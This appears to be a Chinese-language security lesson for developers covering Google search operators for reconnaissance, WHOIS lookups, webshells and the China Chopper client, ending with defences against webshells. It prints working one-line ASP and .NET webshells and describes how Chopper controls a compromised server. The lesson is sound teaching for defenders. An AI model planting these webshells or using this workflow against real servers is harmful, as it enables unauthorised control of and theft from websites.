前言:在上周是我国的网络安全宣传周,从2014年的第一届举行,网络安全就越来越重要,我们作为软件的开发者,对网络安全的维护有着不可推卸的责任,今天我们就来了解下网络安全。 本节课程为网络安全基础知识,重点为:信息收集(google hack)=》webshell了解(中国菜刀),学完本课程,你将对信息的收集有一定的了解,对webshell的攻防有所熟悉,并能在以后的代码编写有所帮助。
一、网络安全概念与简介
1.安全的本质?
锁-保险柜-安检
免除了不可接受的损害风险的状态
网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭受到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。
2.网络安全简史
①.web安全时代的关注点
Web1.0时代,更多被关注时服务端的脚本安全问题
Web2.0时代,2005年Samy蠕虫的爆发震惊了世界,Web安全的主战场由服务器端转换到浏览器端
Web3.0时代,SQL注入和XSS的出现是Web发展上两个重要里程碑
②.Hacker:Hacker一词,最初曾指热心于计算机技术、水平高超的电脑专家,尤其是程序设计人员,逐渐区分为白帽、灰帽、黑帽、骇客、红帽,黑帽专门研究病毒木马、研究操作系统,寻找漏洞,并且以个人意志为出发点,攻击网络或者计算机。骇客是一群比黑客更甚的人,他们为了金钱和个人喜好能做任何事。与之相对的有白帽、灰帽和红帽,他们有正义的精神,能寻找漏洞并提供给开发者,以检测产品的可靠性。
3.中国的黑客简史
①.启蒙时代 20世纪90年代
在20世纪90年代,国内的互联网刚刚起步,一些网络编程爱好者,起初都是对计算机领域的爱好、好奇心和强烈的求知欲望,他们崇尚自由、喜欢分享、经验和资源都是免费提供,技术在他们看上去是最有的价值。
②.黄金时代
中美黑客大战
黑客大战的导火线是2001年4月1日中国英雄王伟的中美撞击事件,引起了中国广大爱国人士的愤怒,从未引发了中美双方hacker的较量,在各自的互联网上植入一些出气的文章和页面。
③.黑暗时代 今天
黑色产业(色情、暴力等) 暗网(章莹颖被杀害事件)
4.渗透流程和思路
俗话说的好,知己知彼方能百战百胜,身为一个程序员,我们也应了解网络安全及其漏洞的发现方法。
渗透一个系统,我们首先要对这个系统进行信息的采集,我们已经上过了林老师的网络编程课,了解了ISO模型,我们就可以从各个层次来收集我们所需的信息。从而找出漏洞,获取我们需要的东西。
二、信息收集
1.工信部备案查询
如果网站有备案的话,我们由网站的首页能看到网站的备案号,由此我们可以到工信部查询此备案号的详细信息
2.借助工具
什么是whois?
Whois 简单来说,就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商、域名注册日期和过期日期等)。通过域名Whois服务器查询,可以查询域名归属者联系方式,以及注册和到期时间
Domain name: hongyangsoft.com
Registry Domain ID: 73673892_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.dns.com.cn
Registrar URL: http://www.dns.com.cn
Updated Date: 2018-05-24T03:16:19Z
Creation Date: 2001-06-28T00:00:00Z
Registrar Registration Expiration Date: 2019-06-28T00:00:00Z
Registrar: Beijing Innovative Linkage Technology Ltd.
Registrar IANA ID: 633
Registrar Abuse Contact Email: abuse@dns.com.cn
Registrar Abuse Contact Phone: +86.1082151122
Reseller: TopFederal Software Sevices Co. Ltd,Fuzhou
Domain Status: ok (http://www.icann.org/epp#ok)
Registrant State/Province: Fujian
Registrant Country: cn
Name Server: ns2.dns.com.cn
Name Server: ns1.dns.com.cn
DNSSEC: unsignedDelegation
URL of the ICANN WHOIS Data Problem Reporting
System: http://wdprs.internic.net/
3.搜索引擎
我们常说有什么不懂问度娘,现在搜索引擎极度强大,网站信息在搜索引擎上能搜到很多东西,今天给大家介绍一下Google的Google Hack
①.默认模糊搜索、自动拆分短语
同许多搜索引擎一样,当直接在搜索框中输入搜索词时,谷歌默认进行模糊搜索,并能对长短语或语句进行自动拆分成小的词进行搜索。
示例:
②.短语精确搜索
给关键词加上半角引号实现精确搜索,不进行分词。
示例:
③.通配符
谷歌的通配符是星号“*”,必须在精确搜索符双引号内部使用。用通配符代替关键词或短语中无法确定的字词。
示例:
④.点号匹配任意字符
与通配符星号“*”不一样的是,点号“.”匹配的是字符,不是字、短语等内容。保留的字符有[、(、-等。
示例:
⑤.布尔逻辑
布尔逻辑是许多检索系统的基本检索技术,在搜索引擎中也一样适用,在谷歌网页搜索中需要注意的是:谷歌和许多搜索引擎一样,多个词间的逻辑关系默认的是逻辑与(空格)。当用逻辑算符的时候,词与逻辑算符之间用需要空格分隔,包括后面讲的各种语法,均要有空格。逻辑非是特例,即减号必须与对应的词连在一起。对于复杂的逻辑关系,可用括号分组。
示例:
逻辑与 谷歌搜索默认是逻辑与 只要有空格就行 或者加入And 如 弘扬 And 捷福
逻辑或 如:弘扬 | 捷福
示例:
逻辑非
示例:
上图为包含“弘扬软件” 不包含“公司”
⑥.约束条件
加号“+”用于强制搜索,即必须包含加号后的内容。一般与精确搜索符一起应用。减号“-”是表示一定不出现减号后的内容,跟逻辑非一样
示例:
⑦.数字范围
用两个点号“..”表示一个数字范围。一般应用于日期、货币、尺寸、重量、高度等范围的搜索。用作范围时最好给一定的含义。
示例:
⑧.标题中搜索
通常标题是内容的高度概括,在标题中搜索的结果准确率会更高。谷歌搜索中限定搜索网页或文档标题的语法是:intitle或allintitle。allintitle是intitle的变体,相当于在各个搜索词前加上intitle。二者差别不明显,我们一般直接用intitle。
示例:
⑨.网址中搜索
谷歌搜索中限定搜索网址的语法是:inurl。是In-系指令中最强大的一个,换句话说,这个高级指令能够直接从网站的URL入手挖掘信息,只要略微了解普通网站的URL格式,就可以极具针对性地找到你所需要的资源--甚至隐藏内容。网站构建者通常将某一类信息集中在一个网站的目录中,所以搜索URL中的词本身就是对某一方面内容的一个限定。如果在加上一定的词进行组配,搜索结果将更贴近需求。
示例:
⑩.锚链链接搜索
在做网站中有时候用锚点来链接一个页面中的其它部分内容,这样方便浏览和定位。也就是说锚点链接的内容通常是网页内容中重要的章节或内容的开始部分,因而对它们的搜索也更能反映网页的主题内容,提高搜索结果的准确度。对于熟悉网页制作的人来说,可以从网页源代码中查看有锚点的HTML代码
谷歌网页搜索在锚链链接中语法是:inanchor或allinanchor。搜索范围限制在页面的链接锚点描述文本进行搜索。
⑪. 文档类型限定
谷歌网页搜索不仅仅能搜索网页,还能搜索各种文档,通过文档类型限定只对文档进行搜索,从而不显示页面的内容。语法是:filetype。这个语法非常有用,我们在网上常常要找一些范文或参考资料的时候常用这个语法。filetype是根据文件后缀搜索特定文件类型,比如支持的文档有:pdf、ppt、doc、xls等;网页文件:htm、asp、php等。
示例:
⑫.正文中搜索
仅仅在网页或文档的正文部分搜索。谷歌搜索中限定搜索网页或文档正文的语法是:intext或allintext。
示例:
⑬.搜索谷歌缓存的页面(快照信息)
用cache语法的一般情况是:当一个链接无法访问时(或信息被屏蔽时);当信息已经被修改,想看以前的信息时。
示例:
⑭.相关网址
related语法对于发现某一类信息非常有用,比如当你用related搜索一个图书馆网址的时候会出来大量图书馆的网站
示例:
⑮.site
搜索范围限制在某网站或顶级域名中。
示例:
4.使用一些website Analyzerweb指纹分析网站或工具。更加简单的是,我们要分析某一个网站,我们可以用开发者工具去查看他的
示例:
三、Webshell的介绍和使用
1.什么是webshell?
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
2.我们为什么要用webshell?
我们入侵一个网站就是要提升自己在这个网站的权限(提权),那如果我们能得到网站的后门,我们也就可以进一步的提权,从而做我们想做的事。
3.Wbshell的隐蔽性
Wbshell有些恶意网页脚本可以嵌套在正常网页中运行,因此不容易被查
杀。由于与被黑客控制的唧系统服务器或黑客远程主机交换的数据都是通过
80端口传递的,因此Wbshell不会被防火墙拦截。同时,使用Wbshell一般
不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,很难发现入侵痕迹。
4.中国菜刀(China Chopper)
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UINCODE方式编译,支持多国语言输入显示。(引用于百度百科中国菜刀_百度百科)
China Chopper页面:
在说到使用chopper之前,我们得先来了解一下如何写网站后门的代码即木马,木马有大马、小马以及一句话木马,今天我们就先来了解下一句话木马。
以下是三种环境的经典的一句话木马
PHP:
ASP: <%eval request("pass")%>
.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
现在我们来分析下.NET的一句话代码
JScript .NET
eval 方法
计算 JScript 代码并执行。
function eval(codeString : String [, override : String])
参数
codeString
必选。包含有效 JScript 代码的字符串。
override
可选。确定要应用于 codeString 中代码的安全权限的字符串。
备注
eval 函数允许动态执行 JScript 源代码。
传递给 eval 方法的代码执行时所在的上下文和调用 eval 方法时的上下文一样。请注意,在 eval 语句中定义的新变量或类型对于封闭程序是不可见的。
除非将字符串“unsafe”传递为第二个参数,否则,传递至 eval 方法的代码在受限安全上下文中执行。受限安全上下文禁止访问系统资源,如文件系统、网络或用户界面。如果代码试图访问这些资源,则会产生安全异常。
当 eval 的第二个参数为字符串“unsafe”时,传递给 eval 方法的代码在调用代码所在的安全上下文中执行。第二个参数是区分大小写的,因此,字符串“Unsafe”或“UnSAfE”不会重写受限安全上下文。
安全说明 在不安全的模式下,eval 只能用于执行从值得信任的源获得的代码字符串。
接下来我们来看下如何操作菜刀
①.添加shell
示例:
②.右键-文件管理
示例:
从示例图中我们可以清晰的看到我们进入了服务器的文件管理,此时我们可以上传文件,删除文件,修改文件时间。下载文件,做一切我们想做的事。
③.右键-数据库管理
示例:
我们进入的是这个界面,我们只要点击配置,输入我们在文件管理的源码部署地,找到数据库连接语句放进去即可。
④.右键-虚拟终端
示例:
在此虚拟终端我们可以执行我们所需要的command命令来达到我们需要的效果
菜刀还有很多功能,例如日程提醒(暂时只知道用作闹钟。。。),浏览网站,复制服务端代码,自写脚本等等,需要同学们在课后有兴趣的对其进行深度挖掘。
5.webshell入侵防范
(1).常规防范
①.对ftp进行权限设置,取消匿名访问。
②.最小的权限=最大的安全。防范webshell的最有效方法就是:可写目录不给执行权限,有执行权限的目录不给写权限。
③.对系统盘的敏感目录及文件进行权限设置,提高系统安全性。
④.多对代码进行安全审计,减少代码上的漏洞
⑤.日常要多进行维护,尽快发现来历不明的aspx等文件。
(2)D盾-IIS的防火墙 (或者安全狗)
先上一张D盾的照片
①.D盾可对网站进行后门及木马的扫描,常见的一句话木马也逃不过他的扫描
示例:
②.可对Http进行设置
示例:
③.也可对远程的计算机、Ip及用户进行管理
示例: